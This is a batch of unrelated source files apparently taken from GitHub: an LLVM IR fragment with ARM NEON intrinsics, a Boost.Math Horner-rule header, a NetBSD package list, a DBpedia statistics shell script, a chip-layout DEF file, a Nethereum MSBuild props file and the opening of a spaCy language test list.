%add45 = add i32 undef, undef
%vld155 = tail call <16 x i8> @llvm.arm.neon.vld1.v16i8(i8* undef, i32 1)
%0 = load i32** undef, align 4
%shuffle.i250 = shufflevector <2 x i64> undef, <2 x i64> undef, <1 x i32> zeroinitializer
%1 = bitcast <1 x i64> %shuffle.i250 to <8 x i8>
%vmovl.i249 = zext <8 x i8> %1 to <8 x i16>
%shuffle.i246 = shufflevector <2 x i64> undef, <2 x i64> undef, <1 x i32> zeroinitializer
%shuffle.i240 = shufflevector <2 x i64> undef, <2 x i64> undef, <1 x i32> <i32 1>
%2 = bitcast <1 x i64> %shuffle.i240 to <8 x i8>
%3 = bitcast <16 x i8> undef to <2 x i64>
%vmovl.i237 = zext <8 x i8> undef to <8 x i16>
%shuffle.i234 = shufflevector <2 x i64> undef, <2 x i64> undef, <1 x i32> zeroinitializer
%shuffle.i226 = shufflevector <2 x i64> undef, <2 x i64> undef, <1 x i32> zeroinitializer
%vmovl.i225 = zext <8 x i8> undef to <8 x i16>
%mul.i223 = mul <8 x i16> %vmovl.i249, %vmovl.i249
%vshl_n = shl <8 x i16> %mul.i223, <i16 2, i16 2, i16 2, i16 2, i16 2, i16 2, i16 2, i16 2>
%vqsub2.i216 = tail call <8 x i16> @llvm.arm.neon.vqsubu.v8i16(<8 x i16> <i16 256, i16 256, i16 256, i16 256, i16 256, i16 256, i16 256, i16 256>, <8 x i16> %vshl_n) nounwind
%mul.i209 = mul <8 x i16> undef, <i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80>
%vshr_n130 = lshr <8 x i16> undef, <i16 8, i16 8, i16 8, i16 8, i16 8, i16 8, i16 8, i16 8>
%vshr_n134 = lshr <8 x i16> %mul.i209, <i16 8, i16 8, i16 8, i16 8, i16 8, i16 8, i16 8, i16 8>
%sub.i205 = sub <8 x i16> <i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80>, %vshr_n130
%sub.i203 = sub <8 x i16> <i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80, i16 80>, %vshr_n134
%add.i200 = add <8 x i16> %sub.i205, <i16 96, i16 96, i16 96, i16 96, i16 96, i16 96, i16 96, i16 96>
%add.i198 = add <8 x i16> %add.i200, %sub.i203
%mul.i194 = mul <8 x i16> %add.i198, %vmovl.i237
%mul.i191 = mul <8 x i16> %vshr_n130, undef
%add.i192 = add <8 x i16> %mul.i191, %mul.i194
%mul.i187 = mul <8 x i16> %vshr_n134, undef
%add.i188 = add <8 x i16> %mul.i187, %add.i192
%mul.i185 = mul <8 x i16> undef, undef
%add.i186 = add <8 x i16> %mul.i185, undef
%vrshr_n160 = tail call <8 x i16> @llvm.arm.neon.vrshiftu.v8i16(<8 x i16> %add.i188, <8 x i16> <i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8>)
%vrshr_n163 = tail call <8 x i16> @llvm.arm.neon.vrshiftu.v8i16(<8 x i16> %add.i186, <8 x i16> <i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8, i16 -8>)
%mul.i184 = mul <8 x i16> undef, %vrshr_n160
%mul.i181 = mul <8 x i16> undef, %vmovl.i225
%add.i182 = add <8 x i16> %mul.i181, %mul.i184
%vrshr_n170 = tail call <8 x i16> @llvm.arm.neon.vrshiftu.v8i16(<8 x i16> %add.i182, <8 x i16> <i16 -7, i16 -7, i16 -7, i16 -7, i16 -7, i16 -7, i16 -7, i16 -7>)
%vqmovn1.i180 = tail call <8 x i8> @llvm.arm.neon.vqmovnu.v8i8(<8 x i16> %vrshr_n170) nounwind
%4 = bitcast <8 x i8> %vqmovn1.i180 to <1 x i64>
%shuffle.i = shufflevector <1 x i64> %4, <1 x i64> undef, <2 x i32> <i32 0, i32 1>
%5 = bitcast <2 x i64> %shuffle.i to <16 x i8>
store <16 x i8> %5, <16 x i8>* undef, align 16
%add177 = add nsw i32 undef, 16
br i1 undef, label %for.body33, label %for.cond.loopexit
for.end179: ; preds = %for.cond.loopexit, %entry
ret void
}
declare <8 x i16> @llvm.arm.neon.vrshiftu.v8i16(<8 x i16>, <8 x i16>) nounwind readnone
declare <8 x i16> @llvm.arm.neon.vqsubu.v8i16(<8 x i16>, <8 x i16>) nounwind readnone
declare <8 x i8> @llvm.arm.neon.vqmovnu.v8i8(<8 x i16>) nounwind readnone
|
{
"pile_set_name": "Github"
}
|
// (C) Copyright John Maddock 2007.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// This file is machine generated, do not edit by hand
// Polynomial evaluation using Horners rule
#ifndef BOOST_MATH_TOOLS_POLY_EVAL_19_HPP
#define BOOST_MATH_TOOLS_POLY_EVAL_19_HPP
namespace boost{ namespace math{ namespace tools{ namespace detail{
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T*, const V&, const mpl::int_<0>*)
{
return static_cast<V>(0);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V&, const mpl::int_<1>*)
{
return static_cast<V>(a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<2>*)
{
return static_cast<V>(a[1] * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<3>*)
{
return static_cast<V>((a[2] * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<4>*)
{
return static_cast<V>(((a[3] * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<5>*)
{
return static_cast<V>((((a[4] * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<6>*)
{
return static_cast<V>(((((a[5] * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<7>*)
{
return static_cast<V>((((((a[6] * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<8>*)
{
return static_cast<V>(((((((a[7] * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<9>*)
{
return static_cast<V>((((((((a[8] * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<10>*)
{
return static_cast<V>(((((((((a[9] * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<11>*)
{
return static_cast<V>((((((((((a[10] * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<12>*)
{
return static_cast<V>(((((((((((a[11] * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<13>*)
{
return static_cast<V>((((((((((((a[12] * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<14>*)
{
return static_cast<V>(((((((((((((a[13] * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<15>*)
{
return static_cast<V>((((((((((((((a[14] * x + a[13]) * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<16>*)
{
return static_cast<V>(((((((((((((((a[15] * x + a[14]) * x + a[13]) * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<17>*)
{
return static_cast<V>((((((((((((((((a[16] * x + a[15]) * x + a[14]) * x + a[13]) * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<18>*)
{
return static_cast<V>(((((((((((((((((a[17] * x + a[16]) * x + a[15]) * x + a[14]) * x + a[13]) * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
template <class T, class V>
inline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<19>*)
{
return static_cast<V>((((((((((((((((((a[18] * x + a[17]) * x + a[16]) * x + a[15]) * x + a[14]) * x + a[13]) * x + a[12]) * x + a[11]) * x + a[10]) * x + a[9]) * x + a[8]) * x + a[7]) * x + a[6]) * x + a[5]) * x + a[4]) * x + a[3]) * x + a[2]) * x + a[1]) * x + a[0]);
}
}}}} // namespaces
#endif // include guard
|
{
"pile_set_name": "Github"
}
|
@comment $NetBSD: PLIST,v 1.5 2017/06/21 08:28:43 markd Exp $
share/texmf-dist/scripts/luaotfload/luaotfload-tool.lua
share/texmf-dist/scripts/luaotfload/mkcharacters
share/texmf-dist/scripts/luaotfload/mkglyphlist
share/texmf-dist/scripts/luaotfload/mkimport
share/texmf-dist/scripts/luaotfload/mkstatus
share/texmf-dist/scripts/luaotfload/mktests
share/texmf-dist/tex/luatex/luaotfload/fontloader-2017-02-11.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-basics-gen.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-basics-nod.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-basics.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-data-con.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-afk.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-cff.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-cid.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-con.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-def.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-dsp.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-gbn.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-ini.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-lua.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-map.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-ocl.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-one.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-onr.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-osd.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-ota.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-otc.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-oti.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-otj.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-otl.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-oto.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-otr.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-ots.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-oup.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-tfm.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-font-ttf.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts-demo-vf-1.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts-enc.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts-ext.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts-syn.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-fonts.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-boolean.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-file.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-function.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-io.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-lpeg.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-lua.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-math.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-string.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-l-table.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-languages.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-languages.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-math.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-math.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-mplib.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-mplib.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-plain.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-preprocessor-test.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-preprocessor.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-preprocessor.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-reference.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-swiglib-test.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-swiglib-test.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-swiglib.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-swiglib.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-test.tex
share/texmf-dist/tex/luatex/luaotfload/fontloader-util-fil.lua
share/texmf-dist/tex/luatex/luaotfload/fontloader-util-str.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-auxiliary.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-blacklist.cnf
share/texmf-dist/tex/luatex/luaotfload/luaotfload-characters.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-colors.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-configuration.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-database.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-diagnostics.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-features.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-glyphlist.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-init.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-letterspace.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-loaders.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-log.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-main.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-parsers.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-resolvers.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload-status.lua
share/texmf-dist/tex/luatex/luaotfload/luaotfload.sty
|
{
"pile_set_name": "Github"
}
|
#/bin/bash
OUTPUT_DIR="/network/www5/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/mappings/sprint"
NOW=`date +%Y%m%d-%H`
cd "$OUTPUT_DIR"
mkdir "$OUTPUT_DIR/data/$NOW"
echo "Saving dbpedia mapping sprint stats to $OUTPUT_DIR"
# TODO: don't hard-code all the languages here, get them from http://mappings.dbpedia.org/server/statistics/
# TODO: at least change the following lines to a loop: for lang in ar bg bn ... ; do ... ; done
php update_percentage.php ar > "$OUTPUT_DIR/data/$NOW/ar.stats.json"
php update_percentage.php bg > "$OUTPUT_DIR/data/$NOW/bg.stats.json"
php update_percentage.php bn > "$OUTPUT_DIR/data/$NOW/bn.stats.json"
php update_percentage.php ca > "$OUTPUT_DIR/data/$NOW/ca.stats.json"
php update_percentage.php cs > "$OUTPUT_DIR/data/$NOW/cs.stats.json"
php update_percentage.php de > "$OUTPUT_DIR/data/$NOW/de.stats.json"
php update_percentage.php el > "$OUTPUT_DIR/data/$NOW/el.stats.json"
php update_percentage.php en > "$OUTPUT_DIR/data/$NOW/en.stats.json"
php update_percentage.php es > "$OUTPUT_DIR/data/$NOW/es.stats.json"
php update_percentage.php eu > "$OUTPUT_DIR/data/$NOW/eu.stats.json"
php update_percentage.php fr > "$OUTPUT_DIR/data/$NOW/fr.stats.json"
php update_percentage.php ga > "$OUTPUT_DIR/data/$NOW/ga.stats.json"
php update_percentage.php hi > "$OUTPUT_DIR/data/$NOW/hi.stats.json"
php update_percentage.php hr > "$OUTPUT_DIR/data/$NOW/hr.stats.json"
php update_percentage.php hu > "$OUTPUT_DIR/data/$NOW/hu.stats.json"
php update_percentage.php it > "$OUTPUT_DIR/data/$NOW/it.stats.json"
php update_percentage.php ja > "$OUTPUT_DIR/data/$NOW/ja.stats.json"
php update_percentage.php ko > "$OUTPUT_DIR/data/$NOW/ko.stats.json"
php update_percentage.php nl > "$OUTPUT_DIR/data/$NOW/nl.stats.json"
php update_percentage.php pl > "$OUTPUT_DIR/data/$NOW/pl.stats.json"
php update_percentage.php pt > "$OUTPUT_DIR/data/$NOW/pt.stats.json"
php update_percentage.php ru > "$OUTPUT_DIR/data/$NOW/ru.stats.json"
php update_percentage.php sl > "$OUTPUT_DIR/data/$NOW/sl.stats.json"
php update_percentage.php tr > "$OUTPUT_DIR/data/$NOW/tr.stats.json"
cp "$OUTPUT_DIR/data/$NOW"/* "$OUTPUT_DIR/data"
|
{
"pile_set_name": "Github"
}
|
VERSION 5.8 ;
DIVIDERCHAR "/" ;
BUSBITCHARS "[]" ;
DESIGN RocketTile ;
UNITS DISTANCE MICRONS 2000 ;
DIEAREA ( 0 0 ) ( 1849840 1598800 ) ;
ROW ROW_0 FreePDK45_38x28_10R_NP_162NW_34O 28000 28000 FS DO 31 BY 1 STEP 380 0 ;
ROW ROW_1 FreePDK45_38x28_10R_NP_162NW_34O 28000 30800 N DO 31 BY 1 STEP 380 0 ;
TRACKS X 190 DO 4868 STEP 380 LAYER metal1 ;
TRACKS Y 140 DO 5710 STEP 280 LAYER metal1 ;
TRACKS X 190 DO 4868 STEP 380 LAYER metal2 ;
TRACKS Y 140 DO 5710 STEP 280 LAYER metal2 ;
TRACKS X 190 DO 4868 STEP 380 LAYER metal3 ;
TRACKS Y 140 DO 5710 STEP 280 LAYER metal3 ;
TRACKS X 190 DO 3303 STEP 560 LAYER metal4 ;
TRACKS Y 140 DO 2855 STEP 560 LAYER metal4 ;
TRACKS X 190 DO 3303 STEP 560 LAYER metal5 ;
TRACKS Y 140 DO 2855 STEP 560 LAYER metal5 ;
TRACKS X 190 DO 3303 STEP 560 LAYER metal6 ;
TRACKS Y 140 DO 2855 STEP 560 LAYER metal6 ;
TRACKS X 190 DO 1157 STEP 1600 LAYER metal7 ;
TRACKS Y 140 DO 1000 STEP 1600 LAYER metal7 ;
TRACKS X 190 DO 1157 STEP 1600 LAYER metal8 ;
TRACKS Y 140 DO 1000 STEP 1600 LAYER metal8 ;
TRACKS X 190 DO 579 STEP 3200 LAYER metal9 ;
TRACKS Y 140 DO 500 STEP 3200 LAYER metal9 ;
TRACKS X 190 DO 579 STEP 3200 LAYER metal10 ;
TRACKS Y 140 DO 500 STEP 3200 LAYER metal10 ;
VIAS 9 ;
- via1_960x340 + VIARULE Via1Array-0 + CUTSIZE 140 140 + LAYERS metal1 via1 metal2 + CUTSPACING 160 160 + ENCLOSURE 110 100 70 100 + ROWCOL 1 3 ;
- via2_960x340 + VIARULE Via2Array-0 + CUTSIZE 140 140 + LAYERS metal2 via2 metal3 + CUTSPACING 180 180 + ENCLOSURE 70 100 90 70 + ROWCOL 1 3 ;
- via3_960x340 + VIARULE Via3Array-0 + CUTSIZE 140 140 + LAYERS metal3 via3 metal4 + CUTSPACING 180 180 + ENCLOSURE 90 70 90 100 + ROWCOL 1 3 ;
- via4_960x2800 + VIARULE Via4Array-0 + CUTSIZE 280 280 + LAYERS metal4 via4 metal5 + CUTSPACING 320 320 + ENCLOSURE 40 60 40 0 + ROWCOL 5 2 ;
- via5_960x2800 + VIARULE Via5Array-0 + CUTSIZE 280 280 + LAYERS metal5 via5 metal6 + CUTSPACING 320 320 + ENCLOSURE 40 0 0 60 + ROWCOL 5 2 ;
- via6_960x2800 + VIARULE Via6Array-0 + CUTSIZE 280 280 + LAYERS metal6 via6 metal7 + CUTSPACING 320 320 + ENCLOSURE 0 60 340 260 + ROWCOL 5 1 ;
- via4_560x1860 + VIARULE Via4Array-0 + CUTSIZE 280 280 + LAYERS metal4 via4 metal5 + CUTSPACING 320 320 + ENCLOSURE 140 190 140 190 + ROWCOL 3 1 ;
- via5_1860x1860 + VIARULE Via5Array-0 + CUTSIZE 280 280 + LAYERS metal5 via5 metal6 + CUTSPACING 320 320 + ENCLOSURE 190 190 190 190 + ROWCOL 3 3 ;
- via6_1860x2800 + VIARULE Via6Array-0 + CUTSIZE 280 280 + LAYERS metal6 via6 metal7 + CUTSPACING 320 320 + ENCLOSURE 490 60 490 260 + ROWCOL 5 2 ;
END VIAS
COMPONENTS 4 ;
- u1 BUF_X1 + PLACED ( 31040 28000 ) N ;
- pad1 PAD + FIXED ( 809120 2000000 ) N ;
END COMPONENTS
PINS 1 ;
- in1 + NET in1 + DIRECTION INPUT + USE SIGNAL
+ LAYER metal1 ( 100 0 ) ( 100 100 ) + FIXED ( 0 0 ) N ;
END PINS
SPECIALNETS 2 ;
- VDD ( * VDD ) + USE POWER ;
- VSS ( * VSS ) + USE GROUND ;
END SPECIALNETS
NETS 1 ;
- in1 ( PIN in1 ) ( u1 A ) ;
- n1 ( u1 Z ) ( pad1 DATA ) ;
END NETS
END DESIGN
|
{
"pile_set_name": "Github"
}
|
<Project>
<PropertyGroup>
<TargetNet35>true</TargetNet35>
<TargetNet461>false</TargetNet461>
<TargetNetCore>false</TargetNetCore>
<TargetNetStandard>false</TargetNetStandard>
<TargetUnityNet461AOT>false</TargetUnityNet461AOT>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet35)' == 'true' ">netstandard1.1;netstandard2.0;net35;net451;netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet35)' == 'false' ">netstandard1.1;netstandard2.0;net451;netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNet461)' == 'true'">net461</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNetCore)'== 'true'">netcoreapp2.1;netcoreapp3.1</DefaultFrameworksUnitySupport>
<DefaultFrameworksUnitySupport Condition=" '$(TargetNetStandard)'== 'true'">netstandard2.0</DefaultFrameworksUnitySupport>
<DefaultFrameworks>netstandard1.1;net451;netstandard2.0;netcoreapp2.1;netcoreapp3.1</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNet461)' == 'true'">net461</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</DefaultFrameworks>
<DefaultFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0</DefaultFrameworks>
<ENSFrameworks>net451;netstandard2.0;netcoreapp2.1;netcoreapp3.1</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNet461)' == 'true'">net461</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ENSFrameworks>
<ENSFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0</ENSFrameworks>
<HdWalletFrameworks>netstandard1.1;netstandard2.0;net452;netcoreapp2.1;netcoreapp3.1</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</HdWalletFrameworks>
<HdWalletFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</HdWalletFrameworks>
<ExternalSignerFrameworks>netstandard2.0;net452;netcoreapp2.1</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ExternalSignerFrameworks>
<ExternalSignerFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</ExternalSignerFrameworks>
<UnityFrameworks>net461;net35</UnityFrameworks>
<UnityFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</UnityFrameworks>
<IpcWebSocketsFrameworks>net461;netstandard1.3;netstandard2.0;netcoreapp2.1;netcoreapp3.1</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</IpcWebSocketsFrameworks>
<IpcWebSocketsFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</IpcWebSocketsFrameworks>
<ReactiveFrameworks>net461;netstandard2.0;netcoreapp2.1;netcoreapp3.1</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNet461)' == 'true'">net461;</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNetCore)' == 'true'">netcoreapp2.1;netcoreapp3.1</ReactiveFrameworks>
<ReactiveFrameworks Condition=" '$(TargetNetStandard)' == 'true'">netstandard2.0;</ReactiveFrameworks>
<PublishRepositoryUrl>true</PublishRepositoryUrl>
<IncludeSymbols>true</IncludeSymbols>
<SymbolPackageFormat>snupkg</SymbolPackageFormat>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.SourceLink.GitHub" Version="1.0.0" PrivateAssets="All" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' != 'net35' And '$(TargetUnityNet461AOT)' != 'true' And '$(MSBuildProjectName)' != 'Nethereum.HdWallet'">
<PackageReference Include="Newtonsoft.Json" Version="[10.0.3,13)" />
</ItemGroup>
<ItemGroup Condition="'$(MSBuildProjectName)' == 'Nethereum.HdWallet'">
<PackageReference Include="Newtonsoft.Json" Version="[11.0.2,13)" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' != 'net35' And '$(TargetFramework)' != 'net451' And '$(TargetFramework)' != 'net461'">
<PackageReference Include="Portable.BouncyCastle" Version="1.8.2" />
</ItemGroup>
<ItemGroup>
<Reference Condition="'$(TargetUnityNet461AOT)' == 'true' " Include="Newtonsoft.Json, Version=6.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\lib\Newtonsoft.Json.dll</HintPath>
</Reference>
</ItemGroup>
<PropertyGroup Condition=" '$(TargetFramework)' == 'netcoreapp2.1' Or '$(TargetFramework)' == 'netcoreapp3.1' Or '$(TargetFramework)' == 'netstandard1.1' Or '$(TargetFramework)' == 'net35' ">
<DefineConstants>$(DefineConstants);PCL</DefineConstants>
</PropertyGroup>
<ItemGroup Condition=" '$(TargetFramework)' == 'net451' Or '$(TargetFramework)' == 'net452' Or '$(TargetFramework)' == 'net461'">
<Reference Include="System" />
<Reference Include="System.Numerics" />
<Reference Include="Microsoft.CSharp" />
<PackageReference Include="BouncyCastle" Version="1.8.2" />
</ItemGroup>
<ItemGroup Condition=" '$(TargetFramework)' == 'netstandard2.0'">
<Reference Include="netstandard" />
<PackageReference Include="NETStandard.Library" Version="2.0.3" />
</ItemGroup>
</Project>
|
{
"pile_set_name": "Github"
}
|
# coding: utf-8
from __future__ import unicode_literals
import pytest
from spacy.util import get_lang_class
# Only include languages with no external dependencies
# "is" seems to confuse importlib, so we're also excluding it for now
# excluded: ja, ru, th, uk, vi, zh, is
LANGUAGES = [
pytest.param("fr", marks=pytest.mark.slow()),
pytest.param("af", marks=pytest.mark.slow()),
pytest.param("ar", marks=pytest.mark.slow()),
pytest.param("bg", marks=pytest.mark.slow()),
"bn",
pytest.param("ca", marks=pytest.mark.slow()),
